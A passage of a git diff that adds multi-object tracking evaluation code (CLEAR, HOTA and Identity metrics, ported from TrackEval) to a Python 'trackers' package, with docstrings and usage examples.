+ "Frag": 0, + "MOTP_sum": 0.0, + "CLR_Frames": 0, + } + + # Sum integer fields (ref: clear.py:134-135) + int_keys = ["CLR_TP", "CLR_FN", "CLR_FP", "IDSW", "MT", "PT", "ML", "Frag"] + totals: dict[str, int] = {k: 0 for k in int_keys} + motp_sum_total = 0.0 + clr_frames_total = 0 + + for m in sequence_metrics: + for k in int_keys: + totals[k] += m[k] + motp_sum_total += m["MOTP_sum"] + clr_frames_total += m["CLR_Frames"] + + # Recompute derived ratios (ref: clear.py:136, _compute_final_fields) + num_gt = totals["CLR_TP"] + totals["CLR_FN"] + num_ids = totals["MT"] + totals["PT"] + totals["ML"] + + mota = (totals["CLR_TP"] - totals["CLR_FP"] - totals["IDSW"]) / max(1.0, num_gt) + motp = motp_sum_total / max(1.0, totals["CLR_TP"]) + moda = (totals["CLR_TP"] - totals["CLR_FP"]) / max(1.0, num_gt) + clr_re = totals["CLR_TP"] / max(1.0, num_gt) + clr_pr = totals["CLR_TP"] / max(1.0, totals["CLR_TP"] + totals["CLR_FP"]) + mtr = totals["MT"] / max(1.0, num_ids) + ptr = totals["PT"] / max(1.0, num_ids) + mlr = totals["ML"] / max(1.0, num_ids) + smota = (motp_sum_total - totals["CLR_FP"] - totals["IDSW"]) / max(1.0, num_gt) + + return { + "MOTA": float(mota), + "MOTP": float(motp), + "MODA": float(moda), + "CLR_Re": float(clr_re), + "CLR_Pr": float(clr_pr), + "MTR": float(mtr), + "PTR": float(ptr), + "MLR": float(mlr), + "sMOTA": float(smota), + **totals, + "MOTP_sum": motp_sum_total, + "CLR_Frames": clr_frames_total, + } diff --git a/trackers/eval/constants.py b/trackers/eval/constants.py new file mode 100644 index 0000000..b6c6f8b --- /dev/null +++ b/trackers/eval/constants.py @@ -0,0 +1,17 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import numpy as np + +# Epsilon for floating point comparisons. +# Must match TrackEval exactly for numerical parity. +# References: +# - trackeval/metrics/clear.py:82,86 (threshold comparisons) +# - trackeval/metrics/hota.py:59,92 (similarity masking) +# - trackeval/datasets/_base_dataset.py:274-285 (IoU computation) +EPS = np.finfo("float").eps diff --git a/trackers/eval/evaluate.py b/trackers/eval/evaluate.py new file mode 100644 index 0000000..679440d --- /dev/null +++ b/trackers/eval/evaluate.py @@ -0,0 +1,441 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import logging +from pathlib import Path +from typing import Literal + +from trackers.eval.clear import aggregate_clear_metrics, compute_clear_metrics +from trackers.eval.hota import aggregate_hota_metrics, compute_hota_metrics +from trackers.eval.identity import aggregate_identity_metrics, compute_identity_metrics +from trackers.eval.results import ( + BenchmarkResult, + CLEARMetrics, + HOTAMetrics, + IdentityMetrics, + SequenceResult, +) +from trackers.io.mot import _load_mot_file, _prepare_mot_sequence + +logger = logging.getLogger(__name__) + +SUPPORTED_METRICS = ["CLEAR", "HOTA", "Identity"] + + +def evaluate_mot_sequence( + gt_path: str | Path, + tracker_path: str | Path, + metrics: list[str] | None = None, + threshold: float = 0.5, +) -> SequenceResult: + """Evaluate a single multi-object tracking result against ground truth. Computes + standard multi-object tracking metrics (CLEAR MOT, HOTA, Identity) for one sequence + by matching predicted tracks to ground-truth tracks using per-frame IoU + (Intersection over Union). + + !!! tip "TrackEval parity" + + This evaluation code is intentionally designed to match the core matching logic + and metric calculations of + [TrackEval](https://github.com/JonathonLuiten/TrackEval). + + Args: + gt_path: Path to the ground-truth MOT file. + tracker_path: Path to the tracker MOT file. + metrics: Metric families to compute. Supported values are + `["CLEAR", "HOTA", "Identity"]`. Defaults to `["CLEAR"]`. + threshold: IoU threshold for `CLEAR` and `Identity` matching. Defaults + to `0.5`. `HOTA` evaluates across multiple thresholds internally. + + Returns: + `SequenceResult` with `CLEAR`, `HOTA`, and/or `Identity` populated based + on `metrics`. + + Raises: + FileNotFoundError: If `gt_path` or `tracker_path` does not exist. + ValueError: If an unsupported metric family is requested. + + Examples: + >>> from trackers.eval import evaluate_mot_sequence # doctest: +SKIP + >>> + >>> result = evaluate_mot_sequence( # doctest: +SKIP + ... gt_path="data/gt/MOT17-02/gt.txt", + ... tracker_path="data/trackers/MOT17-02.txt", + ... metrics=["CLEAR", "HOTA", "Identity"], + ... ) + >>> + >>> result.CLEAR.MOTA # doctest: +SKIP + 0.756 + >>> + >>> result.table(columns=["MOTA", "HOTA", "IDF1", "IDSW"]) # doctest: +SKIP + Sequence MOTA HOTA IDF1 IDSW + -------------------------------------- + MOT17-02 75.600 62.300 72.100 42 + """ + if metrics is None: + metrics = ["CLEAR"] + + # Validate metrics + for metric in metrics: + if metric not in SUPPORTED_METRICS: + raise ValueError( + f"Unsupported metric: {metric}. Supported metrics: {SUPPORTED_METRICS}" + ) + + gt_path = Path(gt_path) + tracker_path = Path(tracker_path) + + # Load data + gt_data = _load_mot_file(gt_path) + tracker_data = _load_mot_file(tracker_path) + + # Prepare sequence (compute IoU, remap IDs) + seq_data = _prepare_mot_sequence(gt_data, tracker_data) + + # Compute metrics + clear_metrics: CLEARMetrics | None = None + hota_metrics: HOTAMetrics | None = None + identity_metrics: IdentityMetrics | None = None + + if "CLEAR" in metrics: + clear_metrics_dict = compute_clear_metrics( + seq_data.gt_ids, + seq_data.tracker_ids, + seq_data.similarity_scores, + threshold=threshold, + ) + clear_metrics = CLEARMetrics.from_dict(clear_metrics_dict) + + if "HOTA" in metrics: + hota_dict = compute_hota_metrics( + seq_data.gt_ids, + seq_data.tracker_ids, + seq_data.similarity_scores, + ) + hota_metrics = HOTAMetrics.from_dict(hota_dict) + + if "Identity" in metrics: + identity_dict = compute_identity_metrics( + seq_data.gt_ids, + seq_data.tracker_ids, + seq_data.similarity_scores, + threshold=threshold, + ) + identity_metrics = IdentityMetrics.from_dict(identity_dict) + + # Build result + return SequenceResult( + sequence=gt_path.stem, + CLEAR=clear_metrics, + HOTA=hota_metrics, + Identity=identity_metrics, + ) + + +def evaluate_mot_sequences( + gt_dir: str | Path, + tracker_dir: str | Path, + seqmap: str | Path | None = None, + metrics: list[str] | None = None, + threshold: float = 0.5, +) -> BenchmarkResult: + """Evaluate multiple multi-object tracking results against ground truth. Computes + standard multi-object tracking metrics (CLEAR MOT, HOTA, Identity) across one or + more sequences by matching predicted tracks to ground-truth tracks using + per-frame IoU (Intersection over Union). Returns both per-sequence and aggregated + (combined) results. + + !!! tip "TrackEval parity" + + This evaluation code is intentionally designed to match the core matching logic + and metric calculations of + [TrackEval](https://github.com/JonathonLuiten/TrackEval). + + !!! tip "Supported dataset layouts" + + Both `gt_dir` and `tracker_dir` should point directly at the parent directory + of the sequences. The evaluator auto-detects which layout you're using. + + === "MOT layout" + + ``` + gt_dir/ + ├── MOT17-02-FRCNN/ + │ └── gt/gt.txt + ├── MOT17-04-FRCNN/ + │ └── gt/gt.txt + └── MOT17-05-FRCNN/ + └── gt/gt.txt + + tracker_dir/ + ├── MOT17-02-FRCNN.txt + ├── MOT17-04-FRCNN.txt + └── MOT17-05-FRCNN.txt + ``` + + === "Flat layout" + + ``` + gt_dir/ + ├── MOT17-02.txt + ├── MOT17-04.txt + ├── MOT17-05.txt + └── ... + + tracker_dir/ + ├── MOT17-02.txt + ├── MOT17-04.txt + ├── MOT17-05.txt + └── ... + ``` + + Args: + gt_dir: Directory containing ground-truth data. Should be the direct + parent of the sequence folders (MOT layout) or sequence files + (flat layout). + tracker_dir: Directory containing tracker prediction files (`{seq}.txt`). + seqmap: Optional sequence map. If provided, only those sequences are + evaluated. + metrics: Metric families to compute. Supported values are + `["CLEAR", "HOTA", "Identity"]`. Defaults to `["CLEAR"]`. + threshold: IoU threshold for `CLEAR` and `Identity`. Defaults to `0.5`. + + Returns: + `BenchmarkResult` with per-sequence results and a `COMBINED` aggregate. + + Raises: + FileNotFoundError: If `gt_dir` or `tracker_dir` does not exist. + ValueError: If no sequences are found. + + Examples: + Auto-detect layout and evaluate all sequences: + + >>> from trackers.eval import evaluate_mot_sequences # doctest: +SKIP + >>> + >>> result = evaluate_mot_sequences( # doctest: +SKIP + ... gt_dir="data/gt/", + ... tracker_dir="data/trackers/", + ... metrics=["CLEAR", "HOTA", "Identity"], + ... ) + >>> + >>> result.table(columns=["MOTA", "HOTA", "IDF1", "IDSW"]) # doctest: +SKIP + Sequence MOTA HOTA IDF1 IDSW + --------------------------------------- + sequence1 74.800 60.900 71.200 37 + sequence2 76.100 63.200 72.500 45 + --------------------------------------- + COMBINED 75.450 62.050 71.850 82 + """ + if metrics is None: + metrics = ["CLEAR"] + + gt_dir = Path(gt_dir) + tracker_dir = Path(tracker_dir) + + if not gt_dir.exists(): + raise FileNotFoundError(f"Ground truth directory not found: {gt_dir}") + if not tracker_dir.exists(): + raise FileNotFoundError(f"Tracker directory not found: {tracker_dir}") + + # Detect directory format + data_format = _detect_format(gt_dir) + logger.info("Detected format: %s", data_format) + + # Get sequence list + if seqmap is not None: + sequences = _parse_seqmap(seqmap) + else: + sequences = _discover_sequences(gt_dir, data_format) + + if not sequences: + raise ValueError(f"No sequences found in {gt_dir}") + + logger.info("Evaluating %d sequences...", len(sequences)) + + # Evaluate each sequence + sequence_results: dict[str, SequenceResult] = {} + + for seq_name in sequences: + gt_path, tracker_path = _get_paths( + gt_dir=gt_dir, + tracker_dir=tracker_dir, + seq_name=seq_name, + data_format=data_format, + ) + + if not gt_path.exists(): + raise FileNotFoundError(f"Ground truth file not found: {gt_path}") + if not tracker_path.exists(): + raise FileNotFoundError(f"Tracker file not found: {tracker_path}") + + seq_result = evaluate_mot_sequence( + gt_path=gt_path, + tracker_path=tracker_path, + metrics=metrics, + threshold=threshold, + ) + # Fix sequence name (evaluate_mot_sequence uses file stem) + sequence_results[seq_name] = SequenceResult( + sequence=seq_name, + CLEAR=seq_result.CLEAR, + HOTA=seq_result.HOTA, + Identity=seq_result.Identity, + ) + + # Compute aggregate metrics + aggregate = _aggregate_metrics(sequence_results, metrics) + + return BenchmarkResult( + sequences=sequence_results, + aggregate=aggregate, + ) + + +def _detect_format(gt_dir: Path) -> Literal["flat", "mot"]: + """Auto-detect directory format. + + Args: + gt_dir: Ground truth directory (direct parent of sequences). + + Returns: + "flat" if .txt files exist in gt_dir, "mot" if sequence + subdirectories with gt/gt.txt exist. + """ + # Check for flat format (*.txt files directly in gt_dir) + txt_files = list(gt_dir.glob("*.txt")) + if txt_files: + return "flat" + + # Check for MOT format (*/gt/gt.txt pattern - sequences directly in gt_dir) + mot_files = list(gt_dir.glob("*/gt/gt.txt")) + if mot_files: + return "mot" + + # Default to flat + return "flat" + + +def _discover_sequences( + gt_dir: Path, + data_format: Literal["flat", "mot"], +) -> list[str]: + """Discover sequence names from directory structure. + + Args: + gt_dir: Ground truth directory (direct parent of sequences). + data_format: Directory format. + + Returns: + List of sequence names. + """ + if data_format == "flat": + return sorted( + p.stem for p in gt_dir.glob("*.txt") if not p.name.startswith(".") + ) + else: + # MOT format: gt_dir/{seq}/gt/gt.txt + return sorted( + p.parent.parent.name + for p in gt_dir.glob("*/gt/gt.txt") + if not p.name.startswith(".") + ) + + +def _get_paths( + gt_dir: Path, + tracker_dir: Path, + seq_name: str, + data_format: Literal["flat", "mot"], +) -> tuple[Path, Path]: + """Get GT and tracker file paths for a sequence. + + Args: + gt_dir: Ground truth directory (direct parent of sequences). + tracker_dir: Tracker directory (contains {seq}.txt files). + seq_name: Sequence name. + data_format: Directory format. + + Returns: + Tuple of (gt_path, tracker_path). + """ + if data_format == "flat": + gt_path = gt_dir / f"{seq_name}.txt" + else: + # MOT format: gt_dir/{seq}/gt/gt.txt + gt_path = gt_dir / seq_name / "gt" / "gt.txt" + + # Tracker files are always flat: tracker_dir/{seq}.txt + tracker_path = tracker_dir / f"{seq_name}.txt" + + return gt_path, tracker_path + + +def _parse_seqmap(seqmap_path: str | Path) -> list[str]: + """Parse a sequence map file to get list of sequence names.""" + seqmap_path = Path(seqmap_path) + if not seqmap_path.exists(): + raise FileNotFoundError(f"Sequence map file not found: {seqmap_path}") + + sequences = [] + with open(seqmap_path) as f: + for line in f: + line = line.strip() + # Skip empty lines, comments, and header + if not line or line.startswith("#") or line.lower() == "name": + continue + sequences.append(line) + + return sequences + + +def _aggregate_metrics( + sequence_results: dict[str, SequenceResult], + metrics: list[str], +) -> SequenceResult: + """Aggregate metrics across sequences.""" + clear_agg: CLEARMetrics | None = None + hota_agg: HOTAMetrics | None = None + identity_agg: IdentityMetrics | None = None + + if "CLEAR" in metrics: + clear_seq_metrics = [ + seq.CLEAR.to_dict() + for seq in sequence_results.values() + if seq.CLEAR is not None + ] + if clear_seq_metrics: + clear_agg = CLEARMetrics.from_dict( + aggregate_clear_metrics(clear_seq_metrics) + ) + + if "HOTA" in metrics: + hota_seq_metrics = [ + seq.HOTA.to_dict(include_arrays=True, arrays_as_list=False) + for seq in sequence_results.values() + if seq.HOTA is not None + ] + if hota_seq_metrics: + hota_agg = HOTAMetrics.from_dict(aggregate_hota_metrics(hota_seq_metrics)) + + if "Identity" in metrics: + identity_seq_metrics = [ + seq.Identity.to_dict() + for seq in sequence_results.values() + if seq.Identity is not None + ] + if identity_seq_metrics: + identity_agg = IdentityMetrics.from_dict( + aggregate_identity_metrics(identity_seq_metrics) + ) + + return SequenceResult( + sequence="COMBINED", + CLEAR=clear_agg, + HOTA=hota_agg, + Identity=identity_agg, + ) diff --git a/trackers/eval/hota.py b/trackers/eval/hota.py new file mode 100644 index 0000000..196659c --- /dev/null +++ b/trackers/eval/hota.py @@ -0,0 +1,367 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ +# Adapted from TrackEval (https://github.com/JonathonLuiten/TrackEval) +# Copyright (c) Jonathon Luiten. All Rights Reserved. +# Licensed under the MIT License [see LICENSE for details] +# ------------------------------------------------------------------------ +# Reference: trackeval/metrics/hota.py:25-117 (eval_sequence method) +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from typing import Any + +import numpy as np +from scipy.optimize import linear_sum_assignment + +from trackers.eval.constants import EPS + +# Alpha thresholds for HOTA evaluation (IoU thresholds) +# TrackEval uses np.arange(0.05, 0.99, 0.05) which gives 19 values +ALPHA_THRESHOLDS = np.arange(0.05, 0.99, 0.05) + + +def compute_hota_metrics( + gt_ids: list[np.ndarray], + tracker_ids: list[np.ndarray], + similarity_scores: list[np.ndarray], +) -> dict[str, Any]: + """Compute HOTA metrics for multi-object tracking evaluation. + + HOTA (Higher Order Tracking Accuracy) evaluates both detection and + association quality across multiple IoU thresholds. The final HOTA + score is the geometric mean of detection accuracy (DetA) and + association accuracy (AssA), averaged over all thresholds. + + Args: + gt_ids: List of ground truth ID arrays, one per frame. Each array has + shape `(num_gt_t,)` containing integer IDs for GTs in that frame. + tracker_ids: List of tracker ID arrays, one per frame. Each array has + shape `(num_tracker_t,)` containing integer IDs for detections. + similarity_scores: List of similarity matrices, one per frame. Each + matrix has shape `(num_gt_t, num_tracker_t)` with IoU or similar + similarity scores. + + Returns: + Dictionary containing HOTA metrics: + - `HOTA`: Higher Order Tracking Accuracy as `float` in range `[0, 1]`. + Geometric mean of DetA and AssA, averaged over alpha thresholds. + - `DetA`: Detection Accuracy as `float` in range `[0, 1]`. + - `AssA`: Association Accuracy as `float` in range `[0, 1]`. + - `DetRe`: Detection Recall as `float` in range `[0, 1]`. + - `DetPr`: Detection Precision as `float` in range `[0, 1]`. + - `AssRe`: Association Recall as `float` in range `[0, 1]`. + - `AssPr`: Association Precision as `float` in range `[0, 1]`. + - `LocA`: Localization Accuracy as `float` in range `[0, 1]`. + - `OWTA`: Open World Tracking Accuracy as `float` in range `[0, 1]`. + - `HOTA_TP`: True positives summed over all alphas as `int`. + - `HOTA_FN`: False negatives summed over all alphas as `int`. + - `HOTA_FP`: False positives summed over all alphas as `int`. + - Arrays for per-alpha values (for aggregation): + `HOTA_TP_array`, `HOTA_FN_array`, `HOTA_FP_array`, + `AssA_array`, `AssRe_array`, `AssPr_array`, `LocA_array`. + + Examples: + >>> import numpy as np + >>> from trackers.eval import compute_hota_metrics + >>> + >>> gt_ids = [ + ... np.array([0, 1]), + ... np.array([0, 1]), + ... np.array([0, 1]), + ... ] + >>> tracker_ids = [ + ... np.array([10, 20]), + ... np.array([10, 30]), + ... np.array([10, 30]), + ... ] + >>> similarity_scores = [ + ... np.array([[0.9, 0.1], [0.1, 0.8]]), + ... np.array([[0.85, 0.1], [0.1, 0.75]]), + ... np.array([[0.8, 0.1], [0.1, 0.7]]), + ... ] + >>> + >>> result = compute_hota_metrics(gt_ids, tracker_ids, similarity_scores) + >>> result["HOTA"] # doctest: +ELLIPSIS + 0.745... + >>> + >>> result["DetA"] # doctest: +ELLIPSIS + 0.816... + >>> + >>> result["AssA"] # doctest: +ELLIPSIS + 0.691... + """ + num_alphas = len(ALPHA_THRESHOLDS) + + # Count total detections + num_gt_dets = sum(len(ids) for ids in gt_ids) + num_tracker_dets = sum(len(ids) for ids in tracker_ids) + + # Initialize result arrays + hota_tp: np.ndarray = np.zeros(num_alphas, dtype=np.float64) + hota_fn: np.ndarray = np.zeros(num_alphas, dtype=np.float64) + hota_fp: np.ndarray = np.zeros(num_alphas, dtype=np.float64) + loc_a: np.ndarray = np.zeros(num_alphas, dtype=np.float64) + ass_a: np.ndarray = np.zeros(num_alphas, dtype=np.float64) + ass_re: np.ndarray = np.zeros(num_alphas, dtype=np.float64) + ass_pr: np.ndarray = np.zeros(num_alphas, dtype=np.float64) + + # Handle edge case: no tracker detections + if num_tracker_dets == 0: + hota_fn[:] = num_gt_dets + loc_a[:] = 1.0 + return _build_result(hota_tp, hota_fn, hota_fp, ass_a, ass_re, ass_pr, loc_a) + + # Handle edge case: no GT detections + if num_gt_dets == 0: + hota_fp[:] = num_tracker_dets + loc_a[:] = 1.0 + return _build_result(hota_tp, hota_fn, hota_fp, ass_a, ass_re, ass_pr, loc_a) + + # Get unique IDs + all_gt_ids = np.concatenate(gt_ids) if gt_ids else np.array([]) + all_tracker_ids = np.concatenate(tracker_ids) if tracker_ids else np.array([]) + unique_gt_ids = np.unique(all_gt_ids) + unique_tracker_ids = np.unique(all_tracker_ids) + num_gt_ids = len(unique_gt_ids) + num_tracker_ids = len(unique_tracker_ids) + + # Create ID mappings for array indexing + gt_id_to_idx = {int(id_): idx for idx, id_ in enumerate(unique_gt_ids)} + tracker_id_to_idx = {int(id_): idx for idx, id_ in enumerate(unique_tracker_ids)} + + # Variables for global association (ref: hota.py:48-50) + potential_matches_count: np.ndarray = np.zeros( + (num_gt_ids, num_tracker_ids), dtype=np.float64 + ) + gt_id_count: np.ndarray = np.zeros((num_gt_ids, 1), dtype=np.float64) + tracker_id_count: np.ndarray = np.zeros((1, num_tracker_ids), dtype=np.float64) + + # First pass: accumulate global track information (ref: hota.py:53-65) + for t, (gt_ids_t, tracker_ids_t) in enumerate(zip(gt_ids, tracker_ids)): + if len(gt_ids_t) == 0 or len(tracker_ids_t) == 0: + # Still count IDs even if no matches possible + if len(gt_ids_t) > 0: + gt_indices = np.array([gt_id_to_idx[int(id_)] for id_ in gt_ids_t]) + gt_id_count[gt_indices] += 1 + if len(tracker_ids_t) > 0: + tr_indices = np.array( + [tracker_id_to_idx[int(id_)] for id_ in tracker_ids_t] + ) + tracker_id_count[0, tr_indices] += 1 + continue + + gt_indices = np.array([gt_id_to_idx[int(id_)] for id_ in gt_ids_t]) + tr_indices = np.array([tracker_id_to_idx[int(id_)] for id_ in tracker_ids_t]) + + similarity = similarity_scores[t] + + # Compute similarity IoU for potential matches (ref: hota.py:57-60) + sim_iou_denom = ( + similarity.sum(0)[np.newaxis, :] + + similarity.sum(1)[:, np.newaxis] + - similarity + ) + sim_iou = np.zeros_like(similarity) + sim_iou_mask = sim_iou_denom > 0 + EPS + sim_iou[sim_iou_mask] = similarity[sim_iou_mask] / sim_iou_denom[sim_iou_mask] + + # Accumulate potential matches (ref: hota.py:61) + potential_matches_count[ + gt_indices[:, np.newaxis], tr_indices[np.newaxis, :] + ] += sim_iou + + # Count detections per ID (ref: hota.py:64-65) + gt_id_count[gt_indices] += 1 + tracker_id_count[0, tr_indices] += 1 + + # Calculate global alignment score (ref: hota.py:68) + global_alignment_score = potential_matches_count / ( + gt_id_count + tracker_id_count - potential_matches_count + ) + + # Per-alpha match counts for association metrics + matches_counts: list[np.ndarray] = [ + np.zeros((num_gt_ids, num_tracker_ids), dtype=np.float64) + for _ in range(num_alphas) + ] + + # Second pass: calculate scores for each timestep (ref: hota.py:72-101) + for t, (gt_ids_t, tracker_ids_t) in enumerate(zip(gt_ids, tracker_ids)): + # Handle empty frames (ref: hota.py:74-81) + if len(gt_ids_t) == 0: + hota_fp += len(tracker_ids_t) + continue + if len(tracker_ids_t) == 0: + hota_fn += len(gt_ids_t) + continue + + gt_indices = np.array([gt_id_to_idx[int(id_)] for id_ in gt_ids_t]) + tr_indices = np.array([tracker_id_to_idx[int(id_)] for id_ in tracker_ids_t]) + + similarity = similarity_scores[t] + + # Build score matrix for Hungarian matching (ref: hota.py:84-85) + score_mat = ( + global_alignment_score[gt_indices[:, np.newaxis], tr_indices[np.newaxis, :]] + * similarity + ) + + # Hungarian algorithm for optimal assignment (ref: hota.py:88) + match_rows, match_cols = linear_sum_assignment(-score_mat) + + # Calculate statistics for each alpha threshold (ref: hota.py:91-101) + for a, alpha in enumerate(ALPHA_THRESHOLDS): + actually_matched_mask = similarity[match_rows, match_cols] >= alpha - EPS + alpha_match_rows = match_rows[actually_matched_mask] + alpha_match_cols = match_cols[actually_matched_mask] + num_matches = len(alpha_match_rows) + + hota_tp[a] += num_matches + hota_fn[a] += len(gt_ids_t) - num_matches + hota_fp[a] += len(tracker_ids_t) - num_matches + + if num_matches > 0: + loc_a[a] += np.sum(similarity[alpha_match_rows, alpha_match_cols]) + matches_counts[a][ + gt_indices[alpha_match_rows], tr_indices[alpha_match_cols] + ] += 1 + + # Calculate association scores for each alpha (ref: hota.py:105-112) + for a in range(num_alphas): + matches_count = matches_counts[a] + + # AssA: association accuracy (ref: hota.py:107-108) + ass_a_mat = matches_count / np.maximum( + 1, gt_id_count + tracker_id_count - matches_count + ) + ass_a[a] = np.sum(matches_count * ass_a_mat) / np.maximum(1, hota_tp[a]) + + # AssRe: association recall (ref: hota.py:109-110) + ass_re_mat = matches_count / np.maximum(1, gt_id_count) + ass_re[a] = np.sum(matches_count * ass_re_mat) / np.maximum(1, hota_tp[a]) + + # AssPr: association precision (ref: hota.py:111-112) + ass_pr_mat = matches_count / np.maximum(1, tracker_id_count) + ass_pr[a] = np.sum(matches_count * ass_pr_mat) / np.maximum(1, hota_tp[a]) + + # Finalize LocA (ref: hota.py:115) + loc_a = np.maximum(1e-10, loc_a) / np.maximum(1e-10, hota_tp) + + return _build_result(hota_tp, hota_fn, hota_fp, ass_a, ass_re, ass_pr, loc_a) + + +def _build_result( + hota_tp: np.ndarray, + hota_fn: np.ndarray, + hota_fp: np.ndarray, + ass_a: np.ndarray, + ass_re: np.ndarray, + ass_pr: np.ndarray, + loc_a: np.ndarray, +) -> dict[str, Any]: + """Build result dictionary from per-alpha arrays. + + Computes final metrics (DetA, DetRe, DetPr, HOTA, OWTA) and averages + over alpha thresholds for summary values. + + Args: + hota_tp: True positives per alpha. + hota_fn: False negatives per alpha. + hota_fp: False positives per alpha. + ass_a: Association accuracy per alpha. + ass_re: Association recall per alpha. + ass_pr: Association precision per alpha. + loc_a: Localization accuracy per alpha. + + Returns: + Dictionary with all HOTA metrics. + """ + # Compute detection metrics (ref: hota.py:170-172) + det_re = hota_tp / np.maximum(1, hota_tp + hota_fn) + det_pr = hota_tp / np.maximum(1, hota_tp + hota_fp) + det_a = hota_tp / np.maximum(1, hota_tp + hota_fn + hota_fp) + + # Compute HOTA and OWTA (ref: hota.py:173-174) + hota = np.sqrt(det_a * ass_a) + owta = np.sqrt(det_re * ass_a) + + # Average over alpha thresholds for summary values + return { + # Summary metrics (averaged over alphas) + "HOTA": float(np.mean(hota)), + "DetA": float(np.mean(det_a)), + "AssA": float(np.mean(ass_a)), + "DetRe": float(np.mean(det_re)), + "DetPr": float(np.mean(det_pr)), + "AssRe": float(np.mean(ass_re)), + "AssPr": float(np.mean(ass_pr)), + "LocA": float(np.mean(loc_a)), + "OWTA": float(np.mean(owta)), + # Integer totals (summed over alphas, for display) + "HOTA_TP": int(np.sum(hota_tp)), + "HOTA_FN": int(np.sum(hota_fn)), + "HOTA_FP": int(np.sum(hota_fp)), + # Per-alpha arrays (for aggregation) + "HOTA_TP_array": hota_tp.copy(), + "HOTA_FN_array": hota_fn.copy(), + "HOTA_FP_array": hota_fp.copy(), + "AssA_array": ass_a.copy(), + "AssRe_array": ass_re.copy(), + "AssPr_array": ass_pr.copy(), + "LocA_array": loc_a.copy(), + } + + +def aggregate_hota_metrics( + sequence_metrics: list[dict[str, Any]], +) -> dict[str, Any]: + """Aggregate HOTA metrics across multiple sequences. + + Uses weighted averaging by HOTA_TP for association metrics, + then recomputes detection and HOTA metrics from totals. + + Args: + sequence_metrics: List of HOTA metric dictionaries from individual + sequences. + + Returns: + Aggregated HOTA metrics dictionary. + """ + if not sequence_metrics: + return _build_result( + np.zeros(len(ALPHA_THRESHOLDS)), + np.zeros(len(ALPHA_THRESHOLDS)), + np.zeros(len(ALPHA_THRESHOLDS)), + np.zeros(len(ALPHA_THRESHOLDS)), + np.zeros(len(ALPHA_THRESHOLDS)), + np.zeros(len(ALPHA_THRESHOLDS)), + np.ones(len(ALPHA_THRESHOLDS)), + ) + + # Sum integer arrays (ref: hota.py:122-123) + hota_tp = np.sum([m["HOTA_TP_array"] for m in sequence_metrics], axis=0) + hota_fn = np.sum([m["HOTA_FN_array"] for m in sequence_metrics], axis=0) + hota_fp = np.sum([m["HOTA_FP_array"] for m in sequence_metrics], axis=0) + + # Weighted average for association metrics (ref: hota.py:124-125) + def weighted_avg(field: str) -> np.ndarray: + weighted_sum = np.sum( + [m[field] * m["HOTA_TP_array"] for m in sequence_metrics], axis=0 + ) + return weighted_sum / np.maximum(1e-10, hota_tp) + + ass_a = weighted_avg("AssA_array") + ass_re = weighted_avg("AssRe_array") + ass_pr = weighted_avg("AssPr_array") + + # Weighted average for LocA (ref: hota.py:126-127) + loc_a_weighted = np.sum( + [m["LocA_array"] * m["HOTA_TP_array"] for m in sequence_metrics], axis=0 + ) + loc_a = np.maximum(1e-10, loc_a_weighted) / np.maximum(1e-10, hota_tp) + + return _build_result(hota_tp, hota_fn, hota_fp, ass_a, ass_re, ass_pr, loc_a) diff --git a/trackers/eval/identity.py b/trackers/eval/identity.py new file mode 100644 index 0000000..bfc2705 --- /dev/null +++ b/trackers/eval/identity.py @@ -0,0 +1,239 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ +# Adapted from TrackEval (https://github.com/JonathonLuiten/TrackEval) +# Copyright (c) Jonathon Luiten. All Rights Reserved. +# Licensed under the MIT License [see LICENSE for details] +# ------------------------------------------------------------------------ +# Reference: trackeval/metrics/identity.py:32-89 (eval_sequence method) +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from typing import Any + +import numpy as np +from scipy.optimize import linear_sum_assignment + + +def compute_identity_metrics( + gt_ids: list[np.ndarray], + tracker_ids: list[np.ndarray], + similarity_scores: list[np.ndarray], + threshold: float = 0.5, +) -> dict[str, Any]: + """Compute Identity metrics for multi-object tracking evaluation. + + Identity metrics measure global ID consistency by finding the optimal + one-to-one assignment between ground truth IDs and tracker IDs that + maximizes the number of correctly identified detections (IDTP). + + Args: + gt_ids: List of ground truth ID arrays, one per frame. Each array has + shape `(num_gt_t,)` containing integer IDs for GTs in that frame. + tracker_ids: List of tracker ID arrays, one per frame. Each array has + shape `(num_tracker_t,)` containing integer IDs for detections. + similarity_scores: List of similarity matrices, one per frame. Each + matrix has shape `(num_gt_t, num_tracker_t)` with IoU or similar + similarity scores. + threshold: Similarity threshold for a valid match. Defaults to 0.5. + + Returns: + Dictionary containing Identity metrics: + - IDF1: ID F1 score (harmonic mean of IDR and IDP) + - IDR: ID Recall (IDTP / (IDTP + IDFN)) + - IDP: ID Precision (IDTP / (IDTP + IDFP)) + - IDTP: ID True Positives + - IDFN: ID False Negatives + - IDFP: ID False Positives + + Examples: + >>> import numpy as np + >>> from trackers.eval.identity import compute_identity_metrics + >>> + >>> gt_ids = [ + ... np.array([0, 1]), + ... np.array([0, 1]), + ... np.array([0, 1]), + ... ] + >>> tracker_ids = [ + ... np.array([10, 20]), + ... np.array([10, 30]), + ... np.array([10, 30]), + ... ] + >>> similarity_scores = [ + ... np.array([[0.9, 0.1], [0.1, 0.8]]), + ... np.array([[0.85, 0.1], [0.1, 0.75]]), + ... np.array([[0.8, 0.1], [0.1, 0.7]]), + ... ] + >>> + >>> result = compute_identity_metrics(gt_ids, tracker_ids, similarity_scores) + >>> result["IDF1"] # doctest: +ELLIPSIS + 0.833... + >>> + >>> result["IDTP"] + 5 + """ + # Count total detections + num_gt_dets = sum(len(ids) for ids in gt_ids) + num_tracker_dets = sum(len(ids) for ids in tracker_ids) + + # Handle empty sequences (ref: identity.py:40-45) + if num_tracker_dets == 0: + return { + "IDF1": 0.0, + "IDR": 0.0, + "IDP": 0.0, + 